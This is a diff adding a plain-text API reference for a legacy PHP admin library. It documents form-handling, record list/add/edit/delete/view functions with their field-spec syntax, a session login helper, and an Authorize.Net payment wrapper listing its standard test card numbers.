+by a previous call to magic_form_submit(). The data is stored with the unique $mf_fiid
+to specify this particular instance of the submitted form data. Any information that
+had been previously stored for the speficied $mf_fiid is deleted before storing the
+new data.
+
+ Parameters:
+ $mf_id A unique int ID for this form
+ $mf_fiid A unique ID used as a key to store this instance of
+ the submitted data.
+ $mf_def_data An array of user data from a prior call to magic_form_submitt().
+
+ Return value:
+ bool Success (true) of Failure (false)
+
+ Global references:
+ (none)
+
+
+************************************************************************
+* *
+* SUPPORT FOR HIGH-LEVEL ADMIN FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ array explode_trim( string $separator, string $string )
+------------------------------------------------------------------------
+
+Explodes a string into pieces and trims whitespace from ends of each piece.
+
+ Parameters:
+ $separator Delimiter character
+ $string String to explode
+
+ Return value:
+ Array containing exploded, trimmed strings
+
+ Global references:
+ None
+
+
+************************************************************************
+* *
+* HIGH-LEVEL ADMIN FUNCTIONS *
+* *
+************************************************************************
+
+
+------------------------------------------------------------------------
+ array admin_process_records_r( string $table, string $where, string $order,
+ string $conn_str, int $id, array $fields, string $options,
+ int $rows, string $url, string $action,
+ string $params, string $a_title, string $view
+ string $Option, string $other_opt )
+ void admin_process_records( string $table, string $where, string $order,
+ string $conn_str, int $id, array $fields, string $options,
+ int $rows, string $url, string $action,
+ string $params, string $a_title, string $view
+ string $Option, string $other_opt )
+------------------------------------------------------------------------
+
+This is the whole kitten-kabootle. Call this to fully process a table
+including add, edit, delete, view, and list.
+
+See various functions for full description of parameters
+
+ Parameters:
+ $table Name of dabase table
+ $where Any additional "WHERE" clause for query
+ $order Any additional "ORDER BY" clause for query
+ $conn_str Connect String
+ $id ID of current record
+ $fields Array of fields as used by admin_field_select()
+ $options Comma separated list of options
+ $rows Maximum number of rows per page
+ $url URL of next processing page
+ $action Action to be passed to next processing page (says what we're working on)
+ $params A "|" separated list of Additional parameters to be passed on links
+ $a_title Page title to display
+ $view Optional View to replace standard output for each Option type
+ This is an array where there is an element for each Option
+ where the indicies are 'Add', 'Add New', 'Edit', 'Update', ...
+ $Option Current Option (Add, Edit, ... )
+ $start Starting record for lists
+ $other_opt Other options to pass to subsequent admin functions
+ $title_view Optional View to replace normal title output.
+
+ Return value:
+ admin_process_records_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_process_records() (none)
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array admin_list_records_r( string $table, sting $where, string $oder,
+ string $conn_str, string $fields,
+ string $options, int $rows, int $start,
+ string $url, string $action,
+ string $params, string $filters,
+ string $a_title )
+ void admin_list_records( string $table, sting $where, string $oder,
+ string $conn_str, string $fields,
+ string $options, int $rows, int $start,
+ string $url, string $action,
+ string $params, string $filters,
+ string $a_title )
+------------------------------------------------------------------------
+
+The auto function retrieves the desired data using the query string,
+then builds a table of the results and displays it along with paging.
+
+The displayed table can optionally have edit, and delete funtions for
+each result.
+
+If options are specified, then links are placed at the end of each
+data record for each of the specified options. An additional parameter
+(Option) is passed to the page to indicate the options that was selected
+by the user. It will be "New", "Add New", "Display", "Edit" or "Delete".
+
+If option "new" is selected, then a link to add a new entry is placed
+at the top of the page.
+
+If option "filter" is selected, then a filter form is placed at the
+top.
+
+ Parameters:
+ $table Name of dabase table
+ $where Any additional "WHERE" clause for query
+ $order Any additional "ORDER BY" clause for query
+ {field}.{nav_option}.{nav_option}|{field}|{field}|
+ Where: {nav_option}
+ "order_descending" - Use Descending order for this field
+ $conn_str Connect String
+ $fields List of fields to display (see below)
+ $options Comma separated list of options
+ new = Provide new option
+ view = Profide display option
+ edit = Provide edit option
+ delete = Provide delete option
+ filter = Provide search fields
+ sortlinks = Make column headers clickable to resort by that column
+ nopageing = Don't display paging links
+ noborder = Don't display table borders
+ opview.v = View text for Operation Column
+ v = View text, can use {n}, {encode:n}, {link_params}, {form_params}
+ Can also user predefined links {op_view}, {op_edit}, {op_delete}, {op_duplicate},
+ {op_url} <- base url, {op_id} <- id of current record
+ $fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ $rows Maximum number of rows per page
+ $start Start at this row and retrieve up to $rows rows
+ $url URL of next processing page
+ $action Action to be passed to next processing page (says what we're working on)
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $filters A "|" separated list of fields to provide search
+ capability for. Each field is specified as
+ {field},{type},{title},[ignore],{value} // SOMEDAY WE HAVE TO USE A DIFFERENT DELIMITER THAN ","
+ Where: {field} = Field to filter on
+ {type}.....{option} = Type of field - Option specified in filter sub-field [5]
+ Otherwise type uses normal type sub-fields
+ Where: {option} =
+ any - Match the text in any case anywhere in the field - case insensitive
+ (This is the default type option)
+ exact - Exact match (default for type pointer)
+ like - Match the text anywhere in the field - case sensitive
+ begin - Match the text at the beginning only - case insensitive
+ {title} = Title for input field
+ {value} = Parameter with Supplied value
+ Only required is option "filter" is selected
+ Special field type "daterange" permits filtering by range of dates
+ $a_title Page title to display
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {filter} - Filter input form
+ {link_params} - Additional Parameters in Link format
+ {form_params} - Additional parameters in form format (hidden fields)
+ {new} - Create new record link
+ {nav} - Pagenation nav links
+ {body} - Designates start of body
+ {section} - Designates a separation between sections
+ Sections are used round-robin fasion for record output.
+ {/body} - Designates end of body
+
+ Output is built as...
+ 1) $a_title
+ 2) Content before {body}
+ 3) Records displayed round-robin with sections
+ 4) Content after {/body}
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type}`{format},{title}|{name},{type},{title}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int - Integer value
+ fixed.n - Fixed precision, "n" digits after "."
+ float - Floating value
+ money - Money (outputs as $xxx,xxx.xx)
+ text - Simple text field
+ password - Same as text except that output is displayed as *'s
+ textbox - Same as text
+ url - Web page link
+ date - Date field (currently same as text)
+ image.s - Image of size "s"
+ o = Original
+ r = Resized
+ m = Midsized
+ t = Thumb
+ file.d.{options} - File (displays file name as a link)
+ d = Directory under base path for site
+ {options} include
+ secure = display using secure output to protect directory (need to protect directory using .htaccess)
+ Use display_secure_file() function to output file
+ list.{list}.{default}.{picklist_options} - List of options from picklist
+ state.{default} - Special case of list
+ country.{default} - Special case of list
+ pointer - Pointer to data in anohter table (see below)
+ checkbox - Yes/No boolian field
+ lat.n - Latitude (stored as deg, + = N) (n = precision)
+ lon.n - Longitude (stored as deg, + = E) (n = precision)
+ order - Output order spec
+ {title} = Title for table header
+ {format} = Optional format spec for output, use {field_name} style tags to include
+ any other raw field data from another field in the list. Only used when
+ $view is not specified.
+
+ Type "pointer" has a sub-structure for the "{type}" field
+ {type}.{other_table}.{disp_field}.{value_field}.{where}
+ {disp_field} can specify multiple fields separated by "~"
+
+ Where: {type} = "pointer"
+ {other_table} = Table used to get data
+ {disp_field} = Field in {other_table} to output to user for each <OPTOIN..>
+ {value_field} = When specified, is the field the value must match rather than "id"
+ (for now, this field must be an integer)
+ {where} = WHERE field of query to use for selecting data from {other_table}
+ (optional - defaults to none)
+
+ Return value:
+ admin_list_records_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_list_records() (none)
+
+ Global references:
+ None
+
+
+
+------------------------------------------------------------------------
+ array admin_new_record_r( string $table,
+ string $conn_str, string $fields,
+ string $url, string $action, string $params
+ string $params, string $a_title, string $view,
+ string $options )
+ void admin_new_record( string $table,
+ string $conn_str, string $fields,
+ string $url, string $action, string $params
+ string $params, string $a_title, string $view,
+ string $options )
+------------------------------------------------------------------------
+
+This function builds a new entry input form with the specified fields.
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $fields List of fields to display (see below)
+ $url URL to page for submitting this form
+ $action Value of "Action" parameter for program at $url
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of page
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {submit} - submit button
+ {link_params} - Additional parameters in link format
+ {form_params} - Additional parameters in form format (hidden fields)
+ $options Optional control options - comma separated
+ "borders" = Turn on borders in table
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{title},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int.w - Integer value
+ fixed.n - Fixed precision
+ float.w - Floating value
+ money - Formats as $xx.xx
+ text.w - Simple text field
+ password.w - Same as text field except that input is displayed as *'s
+ url.w - Web link
+ date.d1.d2.o.ne - Date field (currently same as text)
+ textbox.w.h - Textbox
+ richtext.w.h - Textbox with enhanced editing - w & h in pixels
+ use w > 550 and h > 100
+ file.e - File (file type (e) is optional)
+ image - Image
+ pointer.t.f.v.q.p.s - Pointer to data in another table (see below)
+ checkbox - True/False field, Presented as Checkbox
+ lat.n - Latitude (stored as deg, + = N) (n = precision)
+ lon.n - Longitude (stored as deg, + = E) (n = precision)
+ bitmap.b - Bitmapped check boxes, Names for each bit listed in
+ sequence in b
+ list.{list}.{default}.p - List of options for picklist/display (see below)
+ state.{default}.p - Special form of list, uses state table from siteinfo.inc
+ break.{text} - Break in list - Displays {text} in value field
+ order - Output order value (automatically normalized)
+
+ where: w = Width, h = height, n = # of digits,
+ t = table, b = "~" separated list
+ f = Field in other table from which to get displayed text
+ v = Field in other table from which to get value (if other than "id")
+ q = Optional WHERE clause
+ e = Optional File type required (extension)
+ p = Pick list build options - {option1}~{option2}~...
+ (see build_picklist() for options)
+ s = Field in other table used to sort results retrieved from that table
+ d1 = Number of days before current date to permit selection
+ d2 = Number of days after current date to permit selection
+ o = Date selection options - see calendar_date_select() function
+ ne = Name of other field that this date field should default to no earlier than
+
+ {title} = Title for table header
+ {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED/DISPLAY/HIDDEN)
+ {value} = Name of variable containing supplied/hidden/displayed value
+ For checkboxes use "CHECKED"
+
+ {required} value descriptions
+ TRUE = Normal input field, must be filled in
+ FALSE = Normal input field, optionally filled in
+ UNIQUE = Normal Input field, must be filled in, must be unique (type "text" only)
+ SUPPLIED = Value for input field is supplied, may be changed by user
+ DISPLAY = Value for field is supplied in variable who's name is listed and displayed, but can't be changed
+ HIDDEN = Value for field is supplied in variable who's name is listed, passed on in "hidden" input field
+
+ Type "pointer" has a sub-structure for the "{type}" field
+ {type}.{other_table}.{disp_field}.{value_field}.{where}
+
+ Where: {type} = "pointer"
+ {other_table} = Table used to get data
+ {disp_field} = Field in {other_table} to output to user for each <OPTOIN..>
+ {value_field} = Use the field specified here for the OPTION VALUE rather than "id"
+ (optional - defaults to "id")
+ {where} = WHERE field of query to use for selecting data from {other_table}
+ (optional - defaults to none)
+ {pick_opt} = Picklist options separated by '~' ( see build_picklist() )
+
+ Type "list" builds a pick list using the "~" separated list {list}
+ {value}^{option}~{value}^{option}~...
+ Where {value} = Value provided when option selected
+ {option} = Text displayed for picklist entry
+
+ This will use the indicated table and fields as source for a pick list
+
+ Return value:
+ admin_new_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_new_record() (none)
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array admin_add_new_record_r( string $table,
+ string $conn_str, string $fields,
+ string $url, string $action, string $params, string $a_title )
+ int admin_add_new_record( string $table,
+ string $conn_str, string $fields,
+ string $url, string $action, string $params, string $a_title )
+------------------------------------------------------------------------
+
+This function adds a record submitted from a form produced by the
+admin_new_record() function.
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $fields List of fields to submit (see below)
+ $url URL to page for submitting this form
+ $action Value of "Action" parameter for program at $url
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of page
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ {result} - Results of submission
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int - Integer value
+ fixed - Fixed precision
+ float - Floating value
+ money - Money formatted
+ text - Simple text field
+ password - Same as text
+ state - Same as text
+ textbox - Same as text
+ date - Date
+ url - Web link
+ image - Image
+ pointer - Pointer value (expects integer value ID of other record)
+ file - File
+ lat.n.f - Latitude (stored as deg, + = N)
+ lon.n.f - Longitude (stored as deg, + = E)
+ n = decimal precision digits for last field
+ m = Input/Ouput format
+ "d" = Decimal degrees only
+ "m" = Degrees and decimal minutes
+ "s" = Degrees, minutes, and decimal seconds
+ order - Ouput order field - (future - normalized by this function to 10's after insert)
+ {title} = Title of field for error output if not supplied
+ {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED)
+ {value} = Parameter name of supplied data
+ (for SUPPLIED assign the value to a variable
+ and pass the variable name)
+
+ Return value:
+ admin_add_new_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_add_new_record() oid - If successfull, otherwise 0
+
+ Global references:
+ $HTTP_POST_VARS, $HTTP_POST_FILES
+
+------------------------------------------------------------------------
+ array admin_edit_record_r( string $table, string $conn_str,
+ int $id, string $fields,
+ string $url, string $action, string $params, string $a_title,
+ string $view, string $options )
+ void admin_edit_record( string $table, string $conn_str,
+ int $id, string $fields,
+ string $url, string $action, string $params, string $a_title,
+ string $view, string $options )
+------------------------------------------------------------------------
+
+This function builds an edit entry input form with the specified fields.
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $id Unique value of "id" field of record to edit
+ $fields List of fields to display (see below)
+ $url URL to page for submitting this form
+ $action Value of "Action" parameter for program at $url
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of page
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ {submit} is submit button
+ $options Optional control options - comma separated
+ "borders" = Turn on borders in table
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{title},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int.w - Integer value
+ fixed.n - Fixed precision
+ float.w - Floating value
+ money.w - Money formatted
+ text.w - Simple text field
+ password.w - Same as text except that input is displayed as *'s
+ text.w - Web link
+ textbox.w.h - Textboxd
+ richtext.w.h - Textbox with enhanced editing - w & h in pixels
+ use w > 550 and h > 100
+ date.d1.d2.o.ne - Date field
+ image - Image
+ pointer.t.f.v.q.p.s - Pointer to data in anohter table (see below)
+ list.{list}.{default}.p - List of options for picklist/display (see below)
+ state.{default}.p - Special form of list - uses states table from siteinfo.inc
+ country.{default}.p - Special form of list - uses countries table from siteinfo.inc
+ break.{text} - Break in list - Displays {text} in value field
+ lat.n - Latitude (stored as deg, + = N) (n = precision)
+ lon.n - Longitude (stored as deg, + = E) (n = precision)
+ order - Output order field
+
+ where: w = Width, h = height, n = # of digits,
+ t = table, f = field, q = Optional WHERE clause
+ v = Field in other table from which to get value (other than "id")
+ p = Pick list build options - {option1}~{option2}~...
+ (see build_picklist() for options)
+ s = Field in other table used to sort query resuts
+ d1 = Number of days before current date to permit selection
+ d2 = Number of days after current date to permit selection
+ o = Date selection options - see calendar_date_select() function
+ ne = Name of other field that this date field should default to no earlier than
+
+ {title} = Title for table header
+ {required} = Required field (TRUE/FALSE/UNIQUE/SUPPLIED/DISPLAY/HIDDEN)
+ {value} = Parameter name of supplied data
+ (for SUPPLIED/DISPLAY/HIDDEN assign the value to a variable
+ and pass the variable name)
+ Also, if this value is used for type pointer, it will use it to match
+ the "SELECTED" option in the pick list
+
+ Type "pointer" has a sub-structure for the "{type}" field
+ {type}.{other_table}.{disp_field}.{value_field}.{where}
+
+ Where: {type} = "pointer"
+ {other_table} = Table used to get data
+ {disp_field} = Field in {other_table} to output to user for each <OPTOIN..>
+ {value_field} = Use the field specified here for the OPTION VALUE rather than "id"
+ (optional - defaults to "id")
+ {where} = WHERE field of query to use for selecting data from {other_table}
+ (optional - defaults to none)
+
+ Type "list" builds a pick list using the "~" separated list {list}
+ {value}^{option}~{value}^{option}~...
+ Where {option} = Text displayed for picklist entry
+
+ This will use the indicated table and field as source for a pick list
+
+ Return value:
+ admin_edit_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_edit_record() (none)
+
+ Global references:
+ None
+
+
+------------------------------------------------------------------------
+ array admin_update_record_r( string $table, string $conn_str, int $id,
+ string $fields, string $url, string $action, string $params
+ string $a_title, string $view )
+ void admin_update_record( string $table, string $conn_str, int $id,
+ string $fields, string $url, string $action, string $params
+ string $a_title, string $view )
+------------------------------------------------------------------------
+
+This function updates a record submitted from a form produced by the
+admin_edit_record() function.
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $id Unique value of the "id" field of the record to update
+ $fields List of fields to update (see below)
+ $url URL to page for submitting this form
+ $action Value of "Action" parameter for program at $url
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of Page
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ {result} - Result of submission
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{required},{value}|{name},{type},{title},{required},{value}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int - Integer value
+ fixed - Fixed precision
+ float - Floating value
+ money - Money formatted
+ text - Simple text field
+ text - Same as text
+ state - Same as text
+ textbox - Same as text
+ date - Date
+ url - Web link
+ image - Image
+ pointer - Pointer (expects integer value ID of other record)
+ lat.n - Latitude (stored as deg, + = N) (n = precision)
+ lon.n - Longitude (stored as deg, + = E) (n = precision)
+ order - Ouput order spec - (future - normalize to every 10 after update)
+ {title} = Title of field for error output if not supplied
+ {required} = Required field (TRUE/UNIQUE/FALSE/SUPPLIED)
+ {formfield} = Name of form field with supplied data
+ (for SUPPLIED assign the value to a variable
+ and pass the variable name)
+
+ Return value:
+ admin_update_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_update_record() (none)
+
+ Global references:
+ $HTTP_POST_VARS, $HTTP_POST_FILES
+
+
+------------------------------------------------------------------------
+ array admin_delete_record_r( string $table, string $conn_str, $id,
+ string $fields, string $options,
+ string $url, string $action, string $params, string $a_title )
+ void admin_delete_record( string $table, string $conn_str, $id,
+ string $fields, string $options,
+ string $url, string $action, string $params, string $a_title )
+------------------------------------------------------------------------
+
+This function retrieves data for the specified record, displays it
+then askes the user to acknowledge if they want the record deleted.
+
+Display of the record data is handled similar to the admin_list_records()
+function.
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $id Unique of the "id" field of the record to delete
+ $fields List of fields to display (see below)
+ $options Comma separated list of options
+ strong = Strong confirmation,
+ requires user to type "Confirm"
+ $action Value of "Action" parameter when calling program from links
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of Page - May contain {n} replacements
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ {submit} is submit button
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{title}|{name},{type},{title}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int - Integer value
+ fixed:n - Fixed precision, "n" digits after "."
+ float - Floating value
+ money - Money formatted
+ text - Simple text field
+ password - Same as text except that output is displayed as *'s
+ state - Same as text
+ textbox - Same as text
+ url - Web link
+ date - Date field (currently same as text)
+ image:s - Image of size "s"
+ o = Original
+ r = Resized
+ m = Midsized
+ t = Thumb
+ pointer - Pointer to data in anohter table (see below)
+ check.t.f = Check a field in other table for references to this record
+ Do not delete if entries exist.
+ t = name of other table
+ f = field in other table that points to the ID of this record
+ {title} = Title for table header
+ {control} = Required field (SUPPLIED/DISPLAY/HIDDEN)
+ {formfield} = Name of form field with supplied data
+ (for SUPPLIED assign the value to a variable
+ and pass the variable name - SUPPLIED is not displayed)
+
+ Type "pointer" has a sub-structure for the "{type}" field
+ {type}.{other_table}.{disp_field}.{value_field}.{where}
+
+ Where: {type} = "pointer"
+ {other_table} = Table used to get data
+ {disp_field} = Field in {other_table} to output to user for each <OPTOIN..>
+ {value_field} = When specified, is the field the value must match rather than "id"
+ (for now, this field must be an integer)
+ {where} = WHERE field of query to use for selecting data from {other_table}
+ (optional - defaults to none)
+
+ Return value:
+ admin_delete_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_delete_record() (none)
+
+ Global references:
+
+------------------------------------------------------------------------
+ array admin_confirm_delete_record_r( string $table, string $conn_str, int $id,
+ string $fields, string $url, string $action,
+ string $params, string $a_title, string $view )
+ bool admin_confirm_delete_record( string $table, string $conn_str, int $id,
+ string $fields, string $url, string $action,
+ string $params, string $a_title, string $view )
+------------------------------------------------------------------------
+
+This function receives a form submission from a delete request produced
+by admin_delete_record(). It does a number of things in sequence.
+
+1) Check to make sure the field "Delete" contains exactly "Confirm"
+2) Check fields for "reference"s that need to be protected. If there are any
+ check the "id" field in the specified table to see if any point
+ toward this record. If there are, don't delete the record.
+3) Check to see if there are any "image" fields specified. If so it
+ deletes those images.
+4) Delete the record
+
+ Parameters:
+ $table Name of dabase table
+ $conn_str Connect String
+ $id Unique value of the "id" field of the record to update
+ $fields List of fields to check for certain things such as images to delete
+ and subordinate table entries (references)
+ $url URL to page for submitting this form
+ $action Value of "Action" parameter for program at $url
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of Page
+ $view Optional View to replace standard output - May contain
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ {result} - Result of submitssion, success or failure
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{title}|{name},{type},{title}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ reference - Reference to check (see below)
+ image - Image to delete
+ {title} = Title of field for error output if not supplied
+
+ If {type} = reference, then has following format
+ reference.{table}.{field}
+ Where: {table} = Table to check for reference
+ {field} = Field in that table (to see if = id of current record)
+
+ Return value:
+ admin_confirm_delete_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_confirm_delete_record() TRUE or FALSE (if not deleted)
+
+ Global references:
+ $HTTP_POST_VARS
+
+
+------------------------------------------------------------------------
+ array admin_view_record_r( string $table, sting $conn_str, string $id,
+ string $fields, string $url, string $action,
+ string $params, string $a_title, string $view, string $options, string $quick_tip, string $id_field )
+ void admin_view_record( string $table, sting $conn_str, string $id,
+ string $fields, string $url, string $action,
+ string $params, string $a_title, string $view, string $options, string $quick_tip, string $id_field )
+------------------------------------------------------------------------
+
+The auto function retrieves the record specified by $id and displays
+the result.
+
+ Parameters:
+ $table Name of dabase table
+ $id Numeric value of "id" field for desired record
+ $conn_str Connect String
+ $fields List of fields to display (see below)
+ $url URL of next processing page
+ $action Action to be passed to next processing page (says what we're working on)
+ $params A "|" separated list of Additional parameters to be passed on links
+ {name}.{value}|{name}.{value}|...
+ $a_title Title of this table for use in headers
+ $view View to use for display of this record (see view discription)
+ {n} - Replace with value of parameter n
+ {encode:n} - Replace with urlencoded() value of paramter n
+ {link_params} - Additional parameters in Link format
+ {form_params} - Additional parameters in Form format (hidden fields)
+ $options Optional control options - comma separated
+ "borders" = Turn on borders in table
+ $quick_tip Optional Pop-up Quick tip message for page
+ $id_field Name of id field if not "id"
+
+ $fields parameter is a string with mulitple field declarations.
+
+ "{name},{type},{title}|{name},{type},{title}|..."
+
+ Where: {name} = Name of the data field in the database
+ {type} = Type - how it should be displayed
+ int - Integer value
+ fixed.n - Fixed precision, "n" digits after "."
+ float - Floating value
+ money - Money formatted
+ text - Simple text field
+ password - Same as text except that output is displayed as *'s
+ rawtext - Same as text but doesn't parse hard breaks to <BR>
+ textbox - Same as text
+ url - Web link
+ date - Date field (currently same as text)
+ image.s - Image of size "s"
+ o = Original
+ r = Resized
+ m = Midsized
+ t = Thumb
+ file - File (displays file as a link to a popup window)
+ pointer - Pointer to data in anohter table (see below)
+ list.{list} - List of options for picklist/display (see below)
+ state - Special form of list
+ lat.n - Latitude (stored as deg, + = N) (n = precision)
+ lon.n - Longitude (stored as deg, + = E) (n = precision)
+ break.{text} - Break in list - Displays {text} in value field
+ Breaks must have unique dummy field name
+ order - Output order spec
+ {title} = Title for table header
+
+ Type "pointer" has a sub-structure for the "{type}" field
+ {type}.{other_table}.{disp_field}.{value_field}.{where}
+ {disp_field} can specify multiple fields separated by "~"
+
+ Any type can be followed with ".hidden" to prevent it from being included with default output
+ (does not affect values specified in $view)
+
+ Where: {type} = "pointer"
+ {other_table} = Table used to get data
+ {disp_field} = Field in {other_table} to output to user for each <OPTOIN..>
+ {value_field} = (bugus field, not used in this function since this function displays only)
+ {where} = WHERE field of query to use for selecting data from {other_table}
+ (optional - defaults to none)
+
+ Description of $view: The $view parameter is an optional layout for
+ outputing the record. If the $view parameter isn't supplied, the
+ data is displayed in sequential format down the page, as is the default
+ for the admin_edit_record() function. If the $view parameter is supplied,
+ it is used as the HTML for displaying the page. Fields to be displayed
+ are designated by "{x}" where x is the database field name.
+
+ Return value:
+ admin_view_record_r() returns array( 'text' => {text to display}, 'status' => {return status} );
+ admin_view_record() (none)
+
+ Global references:
+ None
+
+
+
+------------------------------------------------------------------------
+ void admin_user_login( string $operation, string $conn_str, string $sess_code
+ string $table, string $id_field, string $pw_field,
+ string $user_id, string $password, string $where )
+------------------------------------------------------------------------
+
+This function does one of two things...
+
+ 1) Compare User ID and password to see if it's OK for someone to log in
+ If User ID and password match, then session data is created for
+ this user and that includes a timestamp of the last activity
+ 2) Check to see if a session is currently valid
+ This breaks up the session code into 3 segments. One is the
+ MD5 stiring of the user E-Mail and last timestamp, and the next
+ is the timestamp from the last activity. If the last timestamp
+ and user user ID & password don't combine to match the MD5 string, then the
+ user session is invalid. If it does match, then the timestamp
+ is checked to see if it has been longer than the allowed
+ timeout period since the user's last activity. The last segment
+ is the unique numeric "id" of the user's record.
+
+ Parameters:
+ $operation The desired operation to perform
+ $conn_str Standard database connection string
+ $sess_code Session code (blank for operation login, record id for create )
+ $table Database table where user data is stored
+ $id_field Field in $table where user's ID is stored
+ $pw_field Field in $table where user's password is stored
+ $user_id User's ID (blank for operation verify) OPTIONAL
+ $password User's password (blank for operation verify) OPTIONAL
+ $where Optional additional query clause to be ANDed to ID/Password check
+
+ SI_SES_TIMEOUT Global define that specifies timeout period in seconds
+
+ Operations:
+
+ login This operation attempts to log in a new user
+
+ verify This operation verifies an active login
+ session.
+
+ create This operation creates a new user session and links it
+ to a user record without doing an id/password check. The
+ user record id is passed in $sess_code field.
+
+ Return value:
+
+ login Returns false if login failure otherwise session data
+ verify Returns false if login failure otterwise session data
+
+
+ Session data is an array containing all the fields in the user data record
+ and the following special array indexes...
+
+ session_code The MD5 string, timestamp and record number combined
+ session_link The session code in URL link format
+ session_form The session code in hidden form field format
+
+ session_code is built as follows
+ {md5}-{timestamp}-{record id}
+
+ WHERE: {md5} MD5 string derived from
+ user's ID + timestamp + id field + secret
+
+ Global references:
+ SI_SES_TIMEOUT Global define that specifies timeout period in seconds
+
+
+
+************************************************************************
+* *
+* FINANCIAL FUNCTIONS *
+* *
+************************************************************************
+
+------------------------------------------------------------------------
+ array function authorize_net_aim(
+ string $login, string $key, string $test, string $conf, string $merch_email,
+ float $amount, string $card_num, string $exp_date, string $card_code,
+ Following parameters may be optional
+ string $currency,
+ string $fname, string $lname, string $company, string $address, string $city, string $state, string $zip, string $country,
+ string $phone, string $fax, string $id, string $ip, string $tax_id,
+ string $email,
+ string $invoice, string $descr, string $header, string $footer,
+ string $ship_fname, string $ship_lname, string $ship_company, string $ship_address, string $ship_city, string $ship_state,
+ string $ship_zip, string $ship_country )
+------------------------------------------------------------------------
+
+This function submits a transaction request to Authorize.Net and returns a transaction result.
+
+Submission parameters
+
+ string $login Authorize.net Merchant Login
+ string $key Authorize.net Merchant Key
+ string $test Test Mode ( FALSE - Production mode, TRUE - Test Mode, LOCAL TEST - Local only-don't send to Authorize.net )
+ string $conf Send confirmation to customer E-Mail (TRUE - FALSE)
+ string $merch_email Send confirmation to merchant E-Mail (TRUE - FALSE)
+
+ (Need to write rest of this part)
+
+ Authorize.net processing
+
+ Test card #
+
+ TEST CARD CARD TYPE
+ NUMBER
+ 370000000000002 American Express
+ 6011000000000012 Discover
+ 5424000000000015 MasterCard
+ 4007000000027 Visa
+
+
+Return
+
+ The result is an array containing result data or FALSE if it's unable to submit to
+ or get a response from Authorize.Net.
+
+ [0] Response Code - 1 = Approved, 2 = Declined, 3 = Error, 4 = Held for review,
+ ( GLM Added Codes: 100 = System Exec call failed, 101 = No data returned from Exec Call, 102 = No data returned from Authorize.net,
+ 103 = MD5 Hash verification failure )
+ [1] Response Sub-Code (?)
+ [2] Response Reason Code - See documentation
+ [3] Response Reason Text
+ [4] Approval Code - 6 character authorization code
+ [5] AVS Result Code - Address Verification result
